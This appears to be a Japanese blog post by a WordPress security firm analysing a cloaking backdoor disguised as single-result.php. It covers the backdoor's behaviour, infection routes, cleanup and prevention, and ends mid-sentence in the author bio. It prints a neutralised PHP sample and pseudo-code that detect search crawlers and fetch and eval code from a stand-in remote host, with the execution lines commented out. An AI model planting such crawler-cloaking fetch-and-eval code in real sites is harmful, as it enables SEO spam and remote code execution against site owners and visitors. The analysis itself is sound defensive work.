マルウェアの概要

本件は「single-result.php」という名称で設置されていた不正PHPファイルです。

single-result.php は、検索結果テンプレートやカスタム表示用ファイルに見える自然な名称です。しかし実際には、検索エンジン向け表示を改ざんするクローキング型バックドアでした。

通常ユーザーには正常ページを表示し、Googlebotなど検索クローラーに対してのみ異なるコンテンツを返す構造を持っていました。


特徴

  • テーマテンプレート風の自然なファイル名
  • 検索エンジン判定ロジックを内蔵
  • 外部ドメインへの通信処理
  • 動的実行(eval相当構造)
  • エラーを出さず静かに動作

検索結果ページに紛れ込ませることで、SEO改ざんを狙う高度な手法です。


無毒化したコードの一部をサンプルで表記

危険部分を無効化した典型例:

<?php
function is_bot(){
    $ua = strtolower($_SERVER['HTTP_USER_AGENT']);
    return (strpos($ua,'googlebot') !== false);
}

if(is_bot()){
    $remote = "https://example-remote.com/payload.php";
    // $payload = file_get_contents($remote);
    // eval($payload); ← 無効化
}

実際には、検索クローラーにのみスパムコンテンツを表示する仕組みでした。


感染ファイルの完全可読化ログ

解析結果の処理フロー:

  1. HTTP_USER_AGENTを取得
  2. Google/Bing等を判定
  3. 外部サーバーへリクエスト
  4. 取得データを実行(危険部分は無効化)
  5. 通常ユーザーには通常表示

擬似構造:

if(check_search_engine()){
    $payload = fetch_remote_code();
    // execute($payload); ← 無効化
}

これは典型的な「SEOスパム挿入型バックドア」です。


危険性

このタイプのマルウェアが存在すると:

  • 検索順位の急落
  • site:検索で不審URLが大量表示
  • 海外カジノ・医薬品リンク挿入
  • Google警告表示
  • 広告アカウント停止

通常アクセスでは問題が見えないため、発見が遅れることが最大のリスクです。


実際の感染事例

主な侵入経路:

  • 更新停止プラグインの脆弱性
  • 管理画面ブルートフォース攻撃
  • FTP情報漏えい
  • nulledテーマ利用

設置場所:

  • テーマフォルダ内
  • カスタムテンプレート直下
  • ルート直下

駆除と復旧の方法

1. 不審テンプレート削除

  • 正規テーマとの比較
  • 改ざん箇所特定

2. テーマ再インストール

  • 正規版を再アップロード
  • 不審コード削除

3. SEO回復対応

  • Search Console確認
  • 不審URL削除申請
  • 再審査リクエスト

再発防止のセキュリティ対策

  • 定期アップデート
  • ファイル改ざん監視
  • WAF導入
  • 二段階認証
  • FTP制限
  • 外部通信ログ監視

まとめ:検索結果偽装は静かに被害を拡大する

single-result.phpのような検索結果偽装型バックドアは、検索エンジンのみを狙う高度な攻撃です。

被害は徐々に進行し、気づいたときにはSEO評価が大きく下落していることがあります。

定期的な整合性チェックと専門的な解析が不可欠です。


著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、